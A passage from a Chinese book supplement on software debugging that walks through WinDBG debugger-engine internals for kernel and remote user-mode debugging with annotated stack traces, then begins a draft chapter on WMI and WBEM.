00dffd5c 0102a532 dbgeng!DebugClient::AttachKernelWide+0x7d 03 00dfffa4 0102a9bb WinDBG!StartSession+0x5f2 04 00dfffb4 7c80b6a3 WinDBG!EngineLoop+0x1b 05 00dfffec 00000000 kernel32!BaseThreadStart+0x37 《软件调试》补编 - 63 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 其中,2 号栈帧是调用 DebugClient 类的 AttachKernel 方法,其原型如下: HRESULT IDebugClient5::AttachKernelWide( IN ULONG Flags, IN OPTIONAL PCWSTR ConnectOptions); 其 中 Flags 可 以 为 DEBUG_ATTACH_KERNEL_CONNECTION ( 0 )、 DEBUG_ ATTACH_LOCAL_KERNEL(1)和 DEBUG_ATTACH_EXDI_DRIVER(2)三个值之一。 因为我们选择的是通过串口进行双机调试,所以 Flags 参数为 0,ConnectOptions 参数的值 如下: 0:001> du 010662e4 // 可以从栈帧#02 的参数中得到这个地址 010662e4 "com:port=com1,baud=115200" AttachKernel 函数根据指定的参数调用 LiveKernelInitialize 来初始化调试活动内核目 标所需的调试器引擎对象,0 号栈帧显示在执行 ConnLiveKernelTargetInfo 类的构造函数, 也就是构建 ConnLiveKernelTargetInfo 类的实例,这个构造好的实例会保存在 g_Target 全 局变量中。AttachKernel 返回后,StartSession 做了些公共的初始化工作后,便也返回了。 至此,内核调试会话的启动阶段结束,调试会话线程开始等待与调试目标建立连接。 我们知道内核调试引擎(Kernel Debug Engine,简称 KD)是 Windows 操作系统内核 的一部分,它的功能就是调试器一起工作实现内核调试。因此,从通信的角度来看,在进 行双机内核调试时,通信的一方是主机上的调试器,另一方是目标系统上的内核调试引擎, 即 KD。 当 WinDBG 收到 KD 的第一个数据包后,ConnLiveKernelTargetInfo 类的 WaitForEvent 方法会调用 ProcessStateChange 方法,后者会调用 NotifyDebuggee- Activation 方法,这与 用户调试态调试时在处理进程创建事件前调用 NotifyDebuggee- Activation 的情况类似。清 单 29-9 显示了其执行过程。 清单 29-9 建立连接的过程 0:001> kn //调试会话线程 # ChildEBP RetAddr 00 00d0fa20 7c90e9c0 ntdll!KiFastSystemCallRet //调用内核服务 01 00d0fa24 7c8025cb ntdll!ZwWaitForSingleObject+0xc //残根函数 02 00d0fa88 020c275a kernel32!WaitForSingleObjectEx+0xa8 //等待同步对象 03 00d0faa8 01055bdc dbgeng!DebugClient::DispatchCallbacks+0x4a 04 00d0fab8 0102a7e1 WinDBG!EngSwitchWorkspace+0x9c //切换工作空间 05 00d0fad0 01027378 WinDBG!SessionActive+0x171 //激活会话 06 00d0fadc 020b71ea WinDBG!EventCallbacks::SessionStatus+0x28 07 00d0faf0 020b38ec dbgeng!SessionStatusApcData::Dispatch+0x2a 08 00d0fb28 020b3b4f dbgeng!ApcDispatch+0x4c 09 00d0fb78 020b7181 dbgeng!SendEvent+0xcf 0a 00d0fb98 02130ef5 dbgeng!NotifySessionStatus+0x21 0b 00d0fbc4 0213466b dbgeng!NotifyDebuggeeActivation+0x55 0c 00d0fef4 02133eb1 dbgeng!ConnLiveKernelTargetInfo::ProcessStateChange+0x1bb 0d 00d0ff10 020ceacf dbgeng!ConnLiveKernelTargetInfo::WaitForEvent+0xe1 0e 00d0ff34 020cee9e dbgeng!WaitForAnyTarget+0x5f //等待目标 0f 00d0ff80 020cf110 dbgeng!RawWaitForEvent+0x2ae 10 00d0ff98 0102aadf dbgeng!DebugClient::WaitForEvent+0xb0 //等待事件 11 00d0ffb4 7c80b6a3 WinDBG!EngineLoop+0x13f //调试循环 12 00d0ffec 00000000 kernel32!BaseThreadStart+0x37 其中,栈帧#0b~#05 是向调试器中注册的回调对象通知会话状态(Session Status)改 变。 栈帧#04 是当调试器检测到了调试目标的基本信息后,要切换到与其相匹配的工作 空间。在切换到新的工作空间前,WinDBG 通常会显示图 29-19 所示的对话框,询问用户 是否要保存当前使用的默认工作空间(’Kernel default’)。 《软件调试》补编 - 64 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 29-19 WinDBG 在收到内核调试目标激活消息后显示的工作空间对话框 值得注意的是,3 号栈帧调用了 DispatchCallbacks 方法,这会使当前线程(调试会话 线程)进入等待状态。因此,当 WinDBG 显示图 29-8 所示的对话框时,调试器的调试会 话线程是处于等待状态的,而且此时目标系统也是处于冻结状态的。只有这个对话框被关 闭后,UI 线程才会调用 FinishCommand 命令,然后 UpdateEngine,再调用 ExitDispatch 方法,增加信号量的计数,使调试会话进程被唤醒,清单 29-18 显示了这一过程。 清单 29-10 应用内核调试工作空间 0:000> kn # ChildEBP RetAddr 00 0006cd00 0102af20 dbgeng!DebugClient::ExitDispatch //通知调试会话线程 01 0006cd10 010279d5 WinDBG!UpdateEngine+0x30 //更新调试器引擎 02 0006cd18 01027acf WinDBG!FinishCommand+0x15 03 0006cd3c 01027b89 WinDBG!AddStringCommand+0xef 04 0006cd5c 01054d11 WinDBG!AddStringMultiCommand+0xa9 //执行命令恢复目标执行 05 0006d218 01055901 WinDBG!Workspace::Apply+0x5c1 //应用新的工作空间 06 0006d240 01055b03 WinDBG!UiSwitchWorkspace+0xd1 //切换工作空间 07 0006d260 0103d539 WinDBG!UiDelayedSwitchWorkspace+0x33//迟后的工作空间切换 08 0006ddf4 7e418724 WinDBG!FrameWndProc+0x1e09 //窗口过程 … //省略其他栈帧 调试会话线程等待到信号量后,EngineLoop 再次调用 DebugClient 类的 WaitForEvent 方法等待下一个调试事件。至此内核调试会话的连接阶段结束,调试会话完全建立。 29.8.2 等待调试事件 清单 29-11 显示了使用串行电缆进行双机内核调试时,WinDBG 的调试会话线程等待 调试事件的过程。 清单 29-11 等待内核调试事件 0:001> kn # ChildEBP RetAddr 00 00e0fb68 022919be kernel32!ReadFile //从 COM 口读取数据 01 00e0fcd4 022a83cc dbgeng!ComPortRead+0x22e //调试器引擎的 COM 函数 02 00e0fd00 022a7782 dbgeng!KdComConnection::Read+0x6c //串行通信连接层 03 00e0fd20 022a91be dbgeng!KdConnection::ReadAll+0x22 04 00e0fd90 020dd497 dbgeng!KdComConnection::Synchronize+0x16e 05 00e0fdbc 020dd624 dbgeng!DbgKdTransport::Synchronize+0xc7 06 00e0fddc 020ddff3 dbgeng!DbgKdTransport::ReadPacketContents+0x84 07 00e0fe50 02133f5b dbgeng!DbgKdTransport::WaitForPacket+0x133 08 00e0feec 02133e38 dbgeng!ConnLiveKernelTargetInfo::WaitStateChange+0x8b 09 00e0ff10 020ceacf dbgeng!ConnLiveKernelTargetInfo::WaitForEvent+0x68 0a 00e0ff34 020cee9e dbgeng!WaitForAnyTarget+0x5f //轮番等待所有调试目标 0b 00e0ff80 020cf110 dbgeng!RawWaitForEvent+0x2ae 0c 00e0ff98 0102aadf dbgeng!DebugClient::WaitForEvent+0xb0 0d 00e0ffb4 7c80b6a3 WinDBG!EngineLoop+0x13f //调试会话循环 0e 00e0ffec 00000000 kernel32!BaseThreadStart+0x37 //会话线程的启动函数 可以看出,从栈帧#0e 到栈帧#0a 与用户态的情况(清单 29-2)完全相同,这得益于 重构后的 WinDBG 使用了 C++的多态性,顶层可以用统一的代码来处理不同类型的调试 目标。栈帧#07 是调用 DbgKdTransport 类的 WaitForPacket 方法等待来自目标系统的数据 包,而后传输层调用连接层,即 KdComConnection 类的方法。KdComConnection 会按照 《软件调试》补编 - 65 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 一定的时间间隔反复读取 COM 口,监视是否有数据来临。 29.8.3 执行命令 在进行内核调试时,大多数命令都需要位于目标系统的内核调试引擎(KD)的帮助, 只有少数命令可以完全在本地执行。对于需要调试引擎协助的命令,调试器需要通过第 18 章介绍的内核调试协议与 KD 进行通信。清单 29-12 显示了 WinDBG 的调试会话线程 在执行寄存器命令(r)时向 KD 发送数据包的过程。 清单 29-12 调试会话线程执行 r 命令时向 KD 发送请求的过程 0:001> kn 50 # ChildEBP RetAddr 00 00d0e334 022a77d6 dbgeng!KdComConnection::Write //写数据 01 00d0e358 022a8ee0 dbgeng!KdConnection::WriteAll+0x26 //连接层的基类方法 02 00d0e384 020dd8aa dbgeng!KdComConnection::WritePacketContents+0x80 03 00d0e3c8 020de6b5 dbgeng!DbgKdTransport::WritePacketContents+0x7a 04 00d0e448 020b250a dbgeng!DbgKdTransport::WriteDataPacket+0x1c5 05 00d0e46c 020deb14 dbgeng!DbgKdTransport::WritePacket+0x2a 06 00d0e4a8 020debf2 dbgeng!DbgKdTransport::SendReceivePacket+0x44 07 00d0e4d4 020d72df dbgeng!DbgKdTransport::SendReceiveManip+0x42//发送访问类 API 08 00d0e548 020f058e dbgeng!ConnLiveKernelTargetInfo::ReadControl+0x7f 09 00d0e574 0214e3d7 dbgeng!TargetInfo::GetTargetSpecialRegisters+0x3e 0a 00d0e590 021723e1 dbgeng!X86MachineInfo::KdGetContextState+0xd7 0b 00d0e5a8 02150f68 dbgeng!MachineInfo::GetContextState+0x121 0c 00d0e6e0 02236afd dbgeng!X86MachineInfo::OutputAll+0x28 0d 00d0e824 02199468 dbgeng!OutCurInfo+0x25d 0e 00d0e8bc 02186362 dbgeng!ParseRegCmd+0x1b8 //解析 r 命令 0f 00d0e8fc 02188348 dbgeng!WrapParseRegCmd+0x92 //r 命令的入口 10 00d0e9d8 021889a9 dbgeng!ProcessCommands+0x1278 //分发命令 11 00d0ea1c 020cbec9 dbgeng!ProcessCommandsAndCatch+0x49 12 00d0eeb4 020cc12a dbgeng!Execute+0x2b9 13 00d0eee4 01028553 dbgeng!DebugClient::ExecuteWide+0x6a //执行命令的接口函数 14 00d0ef8c 01028a43 WinDBG!ProcessCommand+0x143 15 00d0ffa0 0102ad06 WinDBG!ProcessEngineCommands+0xa3 16 00d0ffb4 7c80b6a3 WinDBG!EngineLoop+0x366 //调试会话循环 17 00d0ffec 00000000 kernel32!BaseThreadStart+0x37 其中栈帧#0b 到#17 与调试 x86 架构的用户目标时是完全一样的。栈帧#08 是 ConnLiveKernelTargetInfo 类的 ReadControl 方法通过传输层向目标系统的 KD 发送请求。 请求发送后,SendReceivePacket 方法调用 WaitForPacket 读取 KD 的回复包(清单 29-13)。 清单 29-13 WinDBG 的调试会话线程读取 KD 回复的过程(部分) 0:001> kn # ChildEBP RetAddr 00 00d0e35c 022a7782 dbgeng!KdComConnection::Read //从 COM 口读取数据 01 00d0e37c 022a93f8 dbgeng!KdConnection::ReadAll+0x22 02 00d0e3a0 022a87ba dbgeng!KdComConnection::ReadPacketLeader+0x38//读导引字节 03 00d0e3c8 020dd6a8 dbgeng!KdComConnection::ReadPacketContents+0x6a 04 00d0e400 020ddff3 dbgeng!DbgKdTransport::ReadPacketContents+0x108 05 00d0e474 020deb29 dbgeng!DbgKdTransport::WaitForPacket+0x133 06 00d0e4a8 020debf2 dbgeng!DbgKdTransport::SendReceivePacket+0x59 07 00d0e4d4 020d72df dbgeng!DbgKdTransport::SendReceiveManip+0x42 08 00d0e548 020f058e dbgeng!ConnLiveKernelTargetInfo::ReadControl+0x7f 09 00d0e574 0214e3d7 dbgeng!TargetInfo::GetTargetSpecialRegisters+0x3e 因为与 KD 通信需要花费较多时间,所以 WinDBG 会将某些命令的执行结果保存起 来,如果下次再执行同样的命令时,就不必再从 KD 那里读取。举例来说,当我们连续多 次执行 kv 命令或者 r 命令时,会感觉到后面几次的速度明显加快,因为它们使用了缓存 的数据。为了保证数据的一致性。每次退出命令状态时,WinDBG 会清除缓存的数据。 《软件调试》补编 - 66 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 29.8.4 将调试目标中断到调试器 如果目标系统处于运行状态,那么可以通过中断(Break)命令将其中断到调试器。 其工作过程如下: 在通过 WinDBG 的界面发出中断命令(菜单或者 Ctrl+Break)后,UI 线程会调用 DebugClient类的SetInterrupt方法,并将第一个参数设置为DEBUG_INTERRUPT_ ACTIVE ( 0 )。 这 会 导 致 SetInterrupt 方 法 通 过 全 局 变 量 g_Target 调 用 调 试 目 标 对 象 的 RequestBreakIn 方法。对于内核调试,g_Target 指向的是 ConnLiveKernelTargetInfo 类的实 例,因此这个类的 RequestBreakIn 方法会被调用,这个方法的实现非常简单,只是将对象 的一个成员变量(偏移为 0x1F7)设置为 1。这些操作发生在 UI 线程中。此时调试会话线 程 通 常 是 在 等 待 目 标 系 统 的 调 试 事 件 , 也 就 是 在 执 行 DbgKdTransport 类 的 ReadPacketContents 方法。这个方法在反复等待目标系统的通信包期间,每次循环时都会 检查目标对象的 0x1F7 成员变量,如果发现其值等于 1,那么就调用 WriteBreakInPacket 方法向目标系统发送中断命令,其过程如清单 29-14 所示。 清单 29-14 内核调试会话线程向目标系统发送中断命令 0:001> kn # ChildEBP RetAddr //调试会话线程 00 00d0fd78 020e04c3 dbgeng!KdComConnection::Write //写 COM 口 01 00d0fd98 020de3c2 dbgeng!DbgKdTransport::Write+0x33 //写 Break 命令 02 00d0fdbc 020dd5ed dbgeng!DbgKdTransport::WriteBreakInPacket+0x32 03 00d0fddc 020ddff3 dbgeng!DbgKdTransport::ReadPacketContents+0x4d 04 00d0fe50 02133f5b dbgeng!DbgKdTransport::WaitForPacket+0x133 05 00d0feec 02133e38 dbgeng!ConnLiveKernelTargetInfo::WaitStateChange+0x8b 06 00d0ff10 020ceacf dbgeng!ConnLiveKernelTargetInfo::WaitForEvent+0x68 07 00d0ff34 020cee9e dbgeng!WaitForAnyTarget+0x5f 08 00d0ff80 020cf110 dbgeng!RawWaitForEvent+0x2ae //等待调试事件 09 00d0ff98 0102aadf dbgeng!DebugClient::WaitForEvent+0xb0 0a 00d0ffb4 7c80b6a3 WinDBG!EngineLoop+0x13f //调试会话循环 0b 00d0ffec 00000000 kernel32!BaseThreadStart+0x37 如 18 章所介绍的,目标系统在每次更新系统时间(KeUpdateSystemTime)时会调用 内核调试引擎的 KdPollBreakIn 函数,检查是否有中断命令,如果有,则准备中断到内核 调试器。 29.8.5 本地内核调试 WinDBG 将 本 地 内 核 调 试 看 作 是 双 机 内 核 调 试 的 特 例 , 调 试 引 擎 中 的 LocalLiveKernelTargetInfo 类用来描述本地内核目标。因此当建立本地内核调试会话时, LiveKernelInitialize 方法创建的是 LocalLiveKernelTargetInfo 类的实例。 因为调试器与调试目标在同一个系统中,所以本地内核调试的通信过程比双机调试简 单得多。事实上,调试器就是通过 NtSystemDebugControl 内核服务来与调试目标进行通信 的。清单 29-15 显示了 WinDBG 的调试会话线程执行显示内存命令的过程。 清单 29-15 本地内核调试时执行内存显示命令的过程 0:002> kn # ChildEBP RetAddr 00 00e0e128 0222395f ntdll!ZwSystemDebugControl+0xa //调用内核服务 01 00e0e168 020d821f dbgeng!LocalLiveKernelTargetInfo::DebugControl+0xaf 02 00e0e1a8 0217a9b2 dbgeng!LocalLiveKernelTargetInfo::ReadVirtual+0xbf 03 00e0e470 0217ae72 dbgeng!DumpValues::Dump+0x552 04 00e0e48c 0217d26d dbgeng!DumpValues::ParseAndDump+0x72 //解析命令 05 00e0e900 02187883 dbgeng!ParseDumpCommand+0xa0d //内存显示命令的入口 06 00e0e9d8 021889a9 dbgeng!ProcessCommands+0x7b3 //分发命令 07 00e0ea1c 020cbec9 dbgeng!ProcessCommandsAndCatch+0x49 《软件调试》补编 - 67 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 08 00e0eeb4 020cc12a dbgeng!Execute+0x2b9 09 00e0eee4 01028553 dbgeng!DebugClient::ExecuteWide+0x6a //执行命令的接口函数 0a 00e0ef8c 01028a43 WinDBG!ProcessCommand+0x143 0b 00e0ffa0 0102ad06 WinDBG!ProcessEngineCommands+0xa3 0c 00e0ffb4 7c80b6a3 WinDBG!EngineLoop+0x366 //调试会话循环 0d 00e0ffec 00000000 kernel32!BaseThreadStart+0x37 可以看到,03 号到 0d 号栈帧与双机内核调试是一样的。栈帧 02 是 Dump 方法调用 的 LocalLiveKernelTargetInfo 类的 ReadVirtual 方法,后者再调用 DebugControl 方法,这里 仍然使用了 C++的多态性。DebugControl 方法只是对系统服务 ZwSystemDebug- Control 的封装。ZwSystemDebugControl 通过系统调用机制调用内核中的 NtSystemDebugControl 方法。 29.9 远程用户态调试 WinDBG 工具包提供了多种方式进行远程调试,本节将讨论通过进程服务器(Process Server)来进行远程用户态调试的基本原理和实现方法。 29.9.1 基本模型 图 29-20 显示了通过进程服务器调试位于另一个系统中的用户态程序时的基本模型。 左侧的系统是被调试程序所运行的系统,称为目标系统。因为它是调试服务的提供者,所 以目标系统有时也被称为服务器系统。相对而言,右侧运行调试器的系统称为客户系统 (Client)。 图 29-20 通过进程服务器(DbgSrv)进行远程用户态调试 目标系统需要运行进程服务器程序 DbgSrv.exe,它位于 WinDBG 的程序目录中。可 以在目标系统中安装完整的 WinDBG 工具包,也可以直接将 WinDBG 的程序目录复制到 目标系统。 目标系统与客户系统之间的通信方式可以有以下几种:命名管道(NPIPE)、TCP、 COM 口、安全的管道(Secure Pipe,简称 SPIPE)和 SSL(Secure Sockets Layer)。其中 SPIPE 和 SSL 需要两个系统中的操作系统都至少是 Windows 2000。 29.9.2 进程服务器 在目标系统中,启动一个命令行窗口,切换到 DbgSrv.exe 文件所在的目录,然后键入 如下命令: C:\WinDBG>dbgsrv -t tcp:port=1022 -c notepad.exe 这条命令的含义是启动进程服务器,让其使用 TCP 协议监听 1025 号端口,同时创建 《软件调试》补编 - 68 – Copyright © 2009 ADVDBG.ORG All Rights Reserved notepad.exe 进程(要调试的程序)。 此时在目标系统中运行一个用于分析 DbgSrv 的调试器,将其附加到 DbgSrv 进程, 然后将 DbgSrv 中断到调试器。可以发现除了用于中断到调试器的 2 号线程外,DbgSrv 还 有两个线程。0 号线程是 UI 线程,也是这个进程的初始线程,1 号线程是监听调试器连接 请求的监听线程。 事实上,DbgSrv 启动后,它的主函数(main)在分析命令行参数后便调用 DebugClient 类的 StartProcessServerWide 方法启动进程服务器,这个方法的原型如下: HRESULT IDebugClient5::StartProcessServerWide( IN ULONG Flags, IN PCWSTR Options, IN PVOID Reserved); 其中 Flags 参 数用 于指 定调 试目 标的 类型 , 必 须为 DEBUG_CLASS_USER_ WINDOWS(2),Options 用来指定与调试器的连接字符串,它的值就是命令行中-t 开关后 的参数,观察其值为: 0:000> du 007a1118 007a1118 "tcp:port=1025" StartProcessServerWide 函 数 会 调 用 DbgRpcCreateServer , 后 者 调 用 DbgRpcInitializeTransport 创建传输层对象实例,因为我们指定的是 TCP 连接,所以 创建的是 DbgRpcTcpTransport 类的实例。而后 DbgRpcCreateServer 函数调用新创建 的传输层对象的 CreateServer 方法。CreateServer 再调用 CreateServer- Socket 方 法,后者调用操作系统的 Socket API WSASocket 创建通信套接字。在创建好通信套接字 之后,DbgRpcCreateServer 方法调用 CreateThread API 来创建一个新的线程,线程的函 数为 dbgeng!DbgRpcServerThread。这个线程用来监听来自客户机器的连接请求。 StartProcessServerWide 方法返回后,DbgSrv 的主函数根据-c 参数指定的命令行 来创建新的进程,但是并没有与其建立调试关系。在以上任务完成后,0 号线程的任务基 本完成,调用 WaitForProcessServerEnd 方法等待结束命令。 29.9.3 连接进程服务器 在客户系统中,使用如下命令行启动 WinDBG: c:\WinDBG>WinDBG -premote tcp:server=<DbgSrv 进程所在的机器名>,port=1022 然后选择 File 菜单的 Attach to a process…命令,这时目标系统的 DbgSrv 会命中我们预先 设置的 CreateThread 断点。这是因为,WinDBG 从命令行参数中知道是远程调试,所以需 要从远程获得供调试的进程列表,于是开始与目标系统的进程服务器建立连接。在目标机 器上,DbgSrv 的监听线程接收到连接请求后,会调用 CreateThread API 创建一个新的工作 线程来与客户机上的 WinDBG 通信,我们称其为服务线程。这个新线程的入口函数为 DBGENG 模块中的 DbgRpcClientThread 函数。处理完一个连接后,监听线程再次调用 AcceptConnection 方法等待新的连接请求。当再有新的连接请求(客户)时,DbgSrv 的监听线程会再创建一个新的服务线程。也就是说,DbgSrv 会为每个客户创建一个不同 的服务线程。因此,一个 DbgSrv 进程可以为多个 WinDBG 服务。 29.9.4 服务循环 WinDBG 使用 RPC(Remote Procedure Call)机制来调用服务器进程中的调试器引擎 函数。下面我们简要讨论其过程。服务线程启动后,便进入一个工作循环等待来自客户端 的数据,如清单 29-16 所示。 《软件调试》补编 - 69 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 清单 29-16 DbgSrv 的服务线程在等待客户数据 0:002> kn # ChildEBP RetAddr 00 00a7fdd8 7c90e9c0 ntdll!KiFastSystemCallRet //调用系统服务 01 00a7fddc 7c8025cb ntdll!ZwWaitForSingleObject+0xc //残根函数 02 00a7fe40 7c802532 kernel32!WaitForSingleObjectEx+0xa8 03 00a7fe54 7c831568 kernel32!WaitForSingleObject+0x12 //等待同步对象 04 00a7fe68 71a6b083 kernel32!GetOverlappedResult+0x30 05 00a7feac 71ac0d59 mswsock!WSPGetOverlappedResult+0x62 06 00a7fed8 0228ac57 WS2_32!WSAGetOverlappedResult+0x56 07 00a7ff0c 02286a65 dbgeng!DbgRpcTcpTransport::Read+0xa7//传输层的读数据方法 08 00a7ff60 022882d8 dbgeng!DbgRpcReceiveCalls+0x55 //接收远程调用 09 00a7ffb4 7c80b6a3 dbgeng!DbgRpcClientThread+0xa8 0a 00a7ffec 00000000 kernel32!BaseThreadStart+0x37 //线程的启动函数 当服务线程收到一个完整的 RPC 数据包后,它先调用 DbgRpcGetStub 函数读取要调 用的函数指针,这个函数指针通常是调试器引擎中的 SFN_IXXX 函数。在确认读取到的函 数指针不为空后,服务线程便就调用这个函数,然后再把函数的执行结果发送给客户端的 WinDBG。完成一次服务后,服务线程再调用 DbgRpcReceiveCalls 来等待新的调用,如 此循环直到结束。 29.9.5 建立调试会话 当我们在 WinDBG 中选择 Notepad 进程并按确定后,和调试本地的应用程序一样, WinDBG 会创建一个新的调试会话线程并调用 StartSession 函数,其详细过程如清单 29-17 所示。 清单 29-17 附加到远程的应用程序 0:001> kn # ChildEBP RetAddr 00 00f0fad8 7c90e9c0 ntdll!KiFastSystemCallRet //系统调用 01 00f0fadc 7c8025cb ntdll!ZwWaitForSingleObject+0xc 02 00f0fb40 7c802532 kernel32!WaitForSingleObjectEx+0xa8 03 00f0fb54 7c831568 kernel32!WaitForSingleObject+0x12 //等待同步对象 04 00f0fb68 71a6b083 kernel32!GetOverlappedResult+0x30 05 00f0fbac 71ac0d59 mswsock!WSPGetOverlappedResult+0x62 06 00f0fbd8 0228ac57 WS2_32!WSAGetOverlappedResult+0x56 07 00f0fc0c 02286a65 dbgeng!DbgRpcTcpTransport::Read+0xa7 //传输层的读数据方法 08 00f0fc60 02286f8e dbgeng!DbgRpcReceiveCalls+0x55 09 00f0fc80 0229e83d dbgeng!DbgRpcConnection::SendReceive+0x10e //发送并接收应答 0a 00f0fccc 020f3a31 dbgeng!ProxyIUserDebugServicesN::AttachProcess+0x11d 0b 00f0fcfc 020c1344 dbgeng!LiveUserTargetInfo::StartAttachProcess+0xd1 0c 00f0fd40 0102a385 dbgeng!DebugClient::CreateProcessAndAttach2Wide+0x104 0d 00f0ffa4 0102a9bb WinDBG!StartSession+0x445 //开始调试会话 0e 00f0ffb4 7c80b6a3 WinDBG!EngineLoop+0x1b //调试会话循环 0f 00f0ffec 00000000 kernel32!BaseThreadStart+0x37 在上面的清单中,从栈帧#0b 到#0f 与调试本地对的应用程序是完全一样的。差异是 从 栈 帧 #0a 开 始 的 , 在 调 试 本 地 的 应 用 程 序 时 , LiveUserTargetInfo 用 的 是 LiveUserDebugServices 类,而这里 LiveUserTargetInfo 用的是 ProxyIUserDebugServicesN 类。ProxyIUserDebugServicesN 类与 LiveUserDebugServices 具有相同的接口,所以 LiveUserTargetInfo 类可以不关心二者的差异。 ProxyIUserDebugServicesN 类将 AttachProcess 调用通过 DbgRpcConnection 发送给远 程的进程服务器,然后等待它的回复(栈帧 0~8)。 清单 29-18 显示的是目标机器上的服务线程收到调用 AttachProcess 函数的请求后,在 DbgSrv 进程中执行这个请求的过程。 清单 29-18 服务线程执行附加动作时的函数调用过程 《软件调试》补编 - 70 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 0:002> kn # ChildEBP RetAddr 00 00a7fe9c 0229a146 ntdll!NtDebugActiveProcess //系统调用 01 00a7feb8 0229a2b0 dbgeng!LiveUserDebugServices::CreateDebugActiveProcess… 02 00a7fed4 022a47ee dbgeng!LiveUserDebugServices::AttachProcess+0xb0 03 00a7ff04 02286c27 dbgeng!SFN_IUserDebugServicesN_AttachProcess+0xbe 04 00a7ff60 022882d8 dbgeng!DbgRpcReceiveCalls+0x217 //接收调用 05 00a7ffb4 7c80b6a3 dbgeng!DbgRpcClientThread+0xa8 //服务线程 06 00a7ffec 00000000 kernel32!BaseThreadStart+0x37 如果将清单 29-18 的 0 到 2 号栈帧放在清单 29-17 的#0b 到#0f 号栈帧之上,那么合并 起来的函数栈调用序列恰好与本地调试时的情况相同。因此可以把这样的远程调试功能看 作是利用 RPC 机制将调试器引擎的功能分布在两台机器上,而分割的边界是在调试服务 层,即 IUserDebugServices 接口。远程调试时,客户机上使用 ProxyIUserDebugServicesN 类远程调用服务进程中的 SFN_IUserDebugServicesN_XXX 系列函数,后者再调用真正的 调试服务(LiveUserDebugServices)。这使得远程调试时,调试目标类(LiveUserTargetInfo) 可以使用统一的方式来处理本地调试和远程调试。 类似的,等待调试事件和执行用户输入的调试命令的过程也是利用 RPC 机制分布在 两台机器上,不再赘述。 29.9.6 比较 在经典调试架构中,使用传输层来隔离本地调试和远程调试的差异性,即使是本地 调试也要使用一个简单的本地调试传输层 TLLoc.DLL。在重构后的调试器引擎架构中, 使用统一的 IDebugService 接口来统一本地调试和远程调试。这样的好处是本地调试时 不再需要形式上的传输层。经典调试模型设计时没有考虑使用 C++的多态机制,而后者 设计时就想到了要发挥 C++语言和 COM 接口等技术,这是导致以上差异的原因。 本节介绍了通过进程服务器进行远程调试的实现方法。与 DbgSrv.exe 相对应, WinDBG 工具包中还有一个名为 KdSrv.exe 的工具,KdSrv 用于支持远程内核调试,它的 工作原理与 DbgSrv 非常类似,本书不再详细讨论。 《软件调试》补编 - 71 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 8 WMI 补编说明: 这一章本来是《软件调试》第 3 篇中的一章,是操作系统的调试支持中的一 部分。 写作这一章的原因有三个,一是 WMI 体现了软件的可配置性和可管理性,它 是软件行业中标准化工作做的最好的一个典型。而可配置行和可管理性都与 软件调试有着密切的关系。第二个原因是 WMI 作为系统的一种重要机制,遍 布在系统的各个部分,内核、驱动、服务、应用程序、日志文件、管理终端 等等,因此,理解这一内容对于了解整个系统,提高综合能力很有用。第三 个原因是,WMI 各个部件之间的协作模型是设计的很不错的软件架构,使用了 RPC 机制,调试 RPC 是用户态调试中较难的任务,这一章中以背景知识的方式 介绍了一部分 RPC 的基础知识。 这一章是唯一被整章删除的内容,也是最早删除的内容,删除的原因是担 心被质疑跑题。 因为这部分内容被删除的较早,所以没有做过仔细的审查,还处于草稿的 状态。 《软件调试》补编 - 72 – Copyright © 2009 ADVDBG.ORG All Rights Reserved WMI Windows 是个庞大的系统,如何了结系统中各个部件的运行状况并对它们进行管理和 维护是个重要而复杂的问题。如果每个部件都提供一个管理程序,那么不仅会导致很多的 重复开发工作,而且也会导致用户要学习各种不同的程序和界面。更好的做法是操纵系统 实现并提供一套统一的机制和框架,其它部件只要按照一定的规范实现与自身逻辑密切相 关的部分。WMI(Windows Management Instrumentation)就是对这一套机制的统称。 WMI 提供了一套标准化的机制来管理本地及远程的 Windows 系统,包括操作系统自 身的各个部件以及系统中运行的各种应用软件,只要它们提供了 WMI 支持。WMI 最早出 现在 NT4 的 SP4 中,并成为其后的所有 Windows 操作系统的必不可少的一个部分。在今 天的 Windows 系统中,很容易就可以看到 WMI 的身影,比如计算机管理(Computer Management),事件查看器,系统服务管理(Services Console)等。 WMI 是个很大的话题,全面的介绍可能需要一本书的篇幅,这显然超出了本书的范 围。所以我们的策略还是从调试角度来了解 WMI 的要点,以达到如下两个目的: 熟悉现有的 WMI 设施,以便可以把它们应用到实际问题中,辅助调试。 在我们的软件产品中,加入 WMI 支持,利用 WMI 增强产品的可调试性。 我们将在第 27 章介绍如何如何在软件开发中使用 WMI,本章我们将着重介绍 WMI 的架构和工作原理。 31.1 WBEM 简介 WMI 是基于 DMTF(Distributed Management Task Force)组织制定的 WBEM 系列标 准实现的。DMTF 是一家旨在建立和推行计算机系统管理有关的标准国际组织,其成员有 包括英特尔、微软 Dell、IBM 等在内的众多著名企业。WBEM 的全称是 Web Based Enterprise Management(基于网络的企业管理)。下面我们先介绍一些 WBEM 有关的背景知识。 WBEM 起始于 1996 年,其目的是发起制定一套标准来统一企业内计算资源的管理方 法,以减少管理的复杂性和费用,降低总体拥有成本(TCO)。相对于用于网络管理的 SNMP ( Simple Network Management Protocol ) 和 用 于 桌 面 系 统 管 理 的 DMI ( Desktop Management Interface)的标准,WBEM 的宗旨是提供一个单一的,可共享的模型(a single, shared model)来收集信息和实施管理。因此,严格说来 WBEM 本身是一个倡议,但是今 天也经常把因为该倡议而制定的一系列标准泛称为 WBEM 标准。 CHAPTER 第 31 章 《软件调试》补编 - 73 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 图 31-1 WBEM 旨在通过一个单一的可共享的模型来交流信息和实施管理 WBEM 主要由以下几个部分组成: 公共信息模型 (Common Information Model,简称 CIM)规约 :定义了实现企业网络 管理(WBEM)的基本原则和方法。其核心是如何使用 CIM 为被管理对象(managed objects,简称受管对象)建模。CIM 是一种语言无关的面向对象编程模型,它使用类 来描述管理对象。与 C++的类类似,CIM 的类也可以包含属性和行为,可以相互继承。 受管对象格式 (Managed Object Format) 语言是表达 CIM 模型的程序语言之一。MOF 是基于 IDL(Interface Definition Language)的,熟悉 COM 编程的读者应该知道 IDL 是描述 COM 接口的一种主要方法。MOF 有它独有的语法,但使用 DMTF 